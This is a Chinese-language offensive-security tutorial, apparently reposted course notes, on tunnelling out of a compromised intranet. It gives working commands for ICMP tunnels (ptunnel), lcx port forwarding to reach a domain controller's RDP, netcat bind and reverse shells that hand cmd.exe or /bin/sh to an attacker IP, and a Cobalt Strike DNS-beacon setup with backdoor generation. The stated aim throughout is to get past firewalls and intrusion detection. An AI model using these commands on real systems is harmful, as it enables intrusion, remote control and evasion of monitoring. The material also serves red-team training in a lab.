【内网安全】域横向网络传输应用层隧道技术
必備知識點:
1.代理和隧道技術區別?
代理只是為了解決網絡通信問題,有些內網訪問不到,可以用代理實現
隧道不僅是解決網絡的通信問題,同時更大的作用是被防火墻甚至入侵檢測系統進行攔截的東西的突破。
2.隧道技術為了解決什么?
3.隧道技術前期的必備條件?
應用場景是你已經獲得控制權但是你不能對控制的東西進行信息收集,很多不方便的操作等
在數據通信被攔截的情況下利用隧道技術封裝改變通信協議進行繞過攔截
CS、MSF無法上線,數據傳輸不穩定無回顯,出口數據被監控,網絡通信存在問題等(隧道技術能解決)
????? 在實際的網絡中,通常會通過各種邊界設備、軟/硬件防火墻甚至入侵檢測系統來檢查對外連接情況,如果發現異樣,就會對通信進行阻斷。那么什么是隧道呢?這里的隧道,就是一種繞過端口屏蔽的通信方式。防火墻兩端的數據包通過防火墻所允許的數據包類型或端口進行封裝,然后穿過防火墻,與對方進行通信。當封裝的數據包到達目的地時,將數據包還原,并將還原后的數據包發送到相應服務器上。
常用的隧道技術有以下三種:
網絡層:IPv6 隧道、ICMP 隧道
傳輸層:TCP 隧道、UDP 隧道、常規端口轉發
應用層:SSH 隧道、HTTP/S 隧道、DNS 隧道
演示案例:
? 網絡傳輸應用層檢測連通性-檢測
? 網絡層ICMP隧道Ptunnel使用-檢測,利用
? 傳輸層轉發隧道Portmap使用-檢測,利用
? 傳輸層轉發隧道Netcat使用-檢測,利用,功能
? 應用層DNS隧道配合CS上線-檢測,利用,說明
案例1-網絡傳輸應用層檢測連通性-檢測
用“瑞士軍刀”——netcat
執行 nc 命令:nc <端口>
用“curl”工具,執行curl <IP地址:端口>命令。如果遠程主機開啟了相應的端口,且內網可連接外網的話,就會輸出相應的端口信息
用“ping”命令,執行ping <IP地址/域名>
檢測DNS連通性常用的命令是“nslookup”和“dig”
nslookup 是windows自帶的DNS探測命令
dig是linux系統自帶的DNS探測命令
隧道有各種層面,每個層面你要確定這個層面是否是支持的
比如想搞一個ICMP的隧道,這個時候你要去檢測它支不支持ICMP隧道的開啟
現在就要應用ping命令去ping地址,看能不能正常通信,如果能的話就可以
如果要檢測DNS就可以用nslookup和dig看命令是不是能正常對數據的回連,就說明職場這個協議的傳輸,這個協議就可以向外部發送,這個協議是正常的,才可以用這個隧道。在用隧道之前要先探測對應隧道協議是否支持,如果不支持,用這個隧道也沒有任何意義!
案例2-網絡層ICMP隧道ptunnel使用-檢測,利用
網上都是老牌工具ptunnel(幾年前就沒有更新了),不推薦使用,推薦pingtunnel
?我們要通過web主機實現對DC的控制,但是DC上面有防護的一些策略
這個時候,用ICMP協議看它是否支持,然后再測試(√)
下面要實現用hacker xiaodi去連接DC,假設已知DC的賬號密碼,我希望通過我的計算機連接到DC的3389,現在76.x是不可能去連接到33.33這臺計算機的(可以在kali輸入命令:rdesktop 192.168.33.33,連接不上),因為他們不在一個網段
hacker xiaodi不在192.168.33網段,是不能連接DC的。現在我要實現請求連接DC的3389端口:先連接到192.168.76.150(webserver的外網接口)上面 ,我通過hackerxiaodi連接webserver,借助33這塊網卡連接DC的33.33
./ptunnel -p 192.168.76.150 -lp 1080 -da 192.168.33.33 -dp 3389 -x xiaodi上面命令的意思是請求192.168.76.150(webserver),請求到之后,自己監聽一下本地的1080,然后將33.33的3389數據,給到本地的1080.然后就直接利用rdesktop連接本地的1080實質就是連接33.33kali2020-Target2-Target3
pingtunnel是把tcp/udp/sock5流量偽裝成icmp流量進行轉發的工具(為什么要轉換?因為tcp、udp、sock5這幾個協議受到防火墻和工具的攔截,這個工具就是把這些流量偽裝成icmp進行數據傳輸!)
-p ? ? ? ## 表示連接icmp隧道另一端的機器IP(即目標服務器)
-lp????? ## 表示需要監聽的本地tcp端口
-da ? ? ## 指定需要轉發的機器的IP(即目標內網某一機器的內網IP)
-dp ?? ## 指定需要轉發的機器的端口(即目標內網某一機器的內網端口)
-x????? ## 設置連接的密碼
命令:
Webserver:./ptunnel -x xiaodi Hacker xiaodi:./ptunnel -p 192.168.76.150 -lp 1080 -da 192.168.33.33 -dp 3389 -x xiaodi #轉發的3389請求數據給本地1080(去連接76.150,然后將76.150去訪問33.33,將33.33的數據流量給到請求段的1080) Hacker xiaodi:rdesktop 127.0.0.1 1080
老版本介紹:https://github.com/f1vefour/ptunnel(需自行編譯)
新版本介紹:https://github.com/esrrhs/pingtunnel(二次開發版)
案例3-傳輸層轉發隧道Portmap使用-檢測,利用
傳輸層端口轉發
工具:
windows: lcx
linux:portmap
?
lcx是一個端口轉發工具,通過端口轉發的形式,將內網服務器的某一個端口映射到公網另一臺服務器的一個端口上去!
遠程服務器win10使用 lcx -listen 51 3399(在win10上開放51端口,把所有訪問51的流量全部扔到3399上面去)
windows2003靶機執行? lcx -slave 192.168.3.60 51 127.0.0.1 3389(把本地3389的流量轉發到192.168.3.60的51端口)51端口就是中轉端口,3399是出口端口,3389是入口端口
最后在win10上使用mstsc——》127.0.0.1:3399
lcx -slave 攻擊IP 3131 127.0.0.1 3389 //將本地3389給攻擊IP的3131 lcx -listen 3131 3333 //監聽3131轉發至3333演示:
自己的攻擊機和webserver有一個外網接口,如果我要連接域控上面的3389或者是SqlServer上面的3389?,F在就要用到端口轉發!
假設已經取得DC權限,端口轉發:
DC上面:lcx.exe -slave 192.168.3.31 6666 127.0.0.1 3389? (將DC端口上的數據給到3.31 給 6666端口,再將自己127.0.0.1本地的3389給出去)?? #將本地的3389數據給到3.31的6666端口
?webserver:lcx.exe -listen 6666 7777 ? #監聽本地的6666 然后給到7777
現在可以通過kali攻擊機去連接webserver的7777:
kali攻擊機:rdesktop 192.168.76.143:7777
案例4-傳輸層轉發隧道Netcat使用-檢測,利用,功能?
Kali2020-god\webserver-god\sqlserver|dc
Netcat可以跟我們的攻擊時時掛鉤!
nc命令復習:
netcat工具是windows和linux都能利用,但是用的時候一定要確保nc是最新版,linux是自帶這個命令,老版本有的不支持-e這個選項,很多功能會有限制。
netcat稱為瑞士軍刀的原因就是它利用起來非常方便,反彈會話是有很多方式的,可以利用多種協議去實現控制,因為我們在實戰過程中會有很多協議被封住被攔截,所以我們要掌握很多種控制的協議,實戰中就不會掉鏈子!
1.雙向連接反彈shell
正向:攻擊連接受害
????? 受害:nc -ldp 1234 -e /bin/sh???? #linux(就是把linux的shell會話反彈給1234端口)
???????????????? nc -ldp 1234 -e c:\windows\system32\cmd.exe?? #windows(把cmd反彈給1234端口)
????? 攻擊:nc 192.168.76.132 1234 //主動連接
反向:受害連接攻擊
????? 攻擊:nc -lvp 1234? # 攻擊主機去監聽自己的1234
????? 受害:nc 攻擊主機IP 1234 -e /bin/sh
???????????????? nc 攻擊主機IP 1234 -e c:\windows\system32\cmd.exe
?演示(正向:攻擊連接受害):
?在2008R2 DC god.org上面執行 nc -ldp 1234 -e c:\windows\system32\cmd.exe,把自身的cmd界面反彈到1234端口,然后攻擊主機2008R2 x64 webserver直接利用nc連接192.168.3.21的1234(命令:nc 192.168.3.21 1234)后直接反彈了一個會話:
演示(反向:受害連接攻擊):
nc -lvp 1234? # 攻擊主機2008R2 x64 webserver去監聽自己的1234
然后受害主機主動把數據發給他:nc 192.168.3.31 1234 -e c:\windows\system32\cmd.exe
回到攻擊主機webserver:
這個就是反向!
?什么時候用正向,什么時候用反向,這是根據網絡情況,比如說受害主機可以找到你,你就用反向,受害主機找不到你,你就用正向。
2.多向連接反彈shell-配合轉發
實現kali控制3.32(SqlServer):
反向:
god\Webserver(3.31):Lcx.exe -listen 2222 3333 #監聽自己的2222端口,然后給到3333端口 god\Sqlserver(3.32):nc 192.168.3.31 2222 -e c:\windows\system32\cmd.exe # 主動把自己的cmd給到3.31的2222端口 kali(76.143)或本機:nc -v 192.168.76.143 3333 #連接webserver上面的接口76網段
正向該怎么操作呢?實戰中改怎么選擇正向和反向?
演示:
在webserver上面執行:Lcx.exe -listen 2222 3333?? #監聽自己的2222端口,然后給到3333端口
在SqlServer上面執行:nc 192.168.3.31 2222 c:\windows\system32\cmd.exe(把自己的cmd給3.31的2222端口)
這時候kali:nc 192.168.76.143 3333(76.143是webserver的另外一個接口)
這就實現控制了3.32,這就是一個典型的端口反彈即會話
?nc走的是tcp協議,對方如果沒有過濾tcp協議,就可以用nc實現與控制主機的通信來實現控制!
3.相關netcat主要功能測試(非常好用)
指紋服務:nc -nv 192.168.76.143
端口掃描:nc -v -z 192.168.76.143 1-100
端口監聽:nc -lvp xxxx
文件傳輸:nc -lp 1111 >1.txt | nc -vn xx.xx.x.x 1111 <1.txt -q 1
反彈Shell:見上
案例5-應用層DNS隧道配合CS上線-檢測,利用,說明
應用層是在實戰中經常用到的,之前兩個層面會經常被防火墻攔截(網絡/傳輸層),下面用DNS隧道來實現 cs上線
我們在生成監聽器的時候有個payload:
常規是用http上線,dns比http速度要慢,(下載cs插件還會多幾個協議出來)
當常見協議監聽器被攔截時,可以換其他協議上線,其中dns協議上線基本通殺
dns是域名解析用的,這個協議一般都不會被攔截,數據通過dns協議給出去,一般不會被攔截!
1.云主機Teamserver配置端口53啟用-udp
2.買一個域名修改解析記錄如下:
A記錄->cs主機名->CS服務器IP
NS記錄->ns1主機名->上個A記錄地址
NS記錄->ns2主機名->上個A記錄地址
3.配置DNS監聽器內容如下:
ns1.xiaodi8.com
ns2.xiaodi8.com
cs.xiaodi8.com
監聽器啟動起來之后,就如下圖:
這個時候生成后門:attacks——packages——windows executable(s)——listener選擇dns上線——選擇后門生成位置(dns_x.exe)
復制到2008r2 x64 webserver,執行:
cs界面出現一個黑框框:
dns上線就是這個情況(unknown),因為它是dns上線,有一個問題就是速度特別慢,與此同時你還要敲幾條命令才能實現控制:
點擊interact輸入下面命令
4.生成后門執行上線后啟用命令:
beacon> checkin
[] Tasked beacon to checkin
beacon> mode dns-txt(等個20s,和當前網絡環境有關)
[+] data channel set to DNS-TXT
[+] host called home, sent: 8 bytes
beacon> shell whoami
[] Tasked beacon to run: whoami
[+] host called home, sent: 53 bytes
[+] received output:
xiaodi-pc\xiaodi
?
電腦上面有一條閃電,說明電腦上面是有一些防護的!
隧道就是以前通信走的協議,通過隧道之后可以變換另外一種協議出來,和我們木馬上線一樣。
之前是http協議上線,上線不了就可以換dns協議上線!網上還有插件,還可以有很多協議。都是解決通信被攔截的問題!
隧道技術其實就是不斷變換協議,走不同協議來實現數據通信!!!
涉及資源:
https://github.com/f1vefour/ptunnel
https://github.com/esrrhs/pingtunnel
https://github.com/MrAnonymous-1/lcx
https://pan.baidu.com/s/1Vh4ELTFvyBhv3Avzft1fCw?? 提取碼: xiao
總結
以上是生活随笔為你收集整理的【内网安全】域横向网络传输应用层隧道技术的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 数据自治开放的加密技术挑战
- 下一篇: 作者:李廉(1951-),男,合肥工业大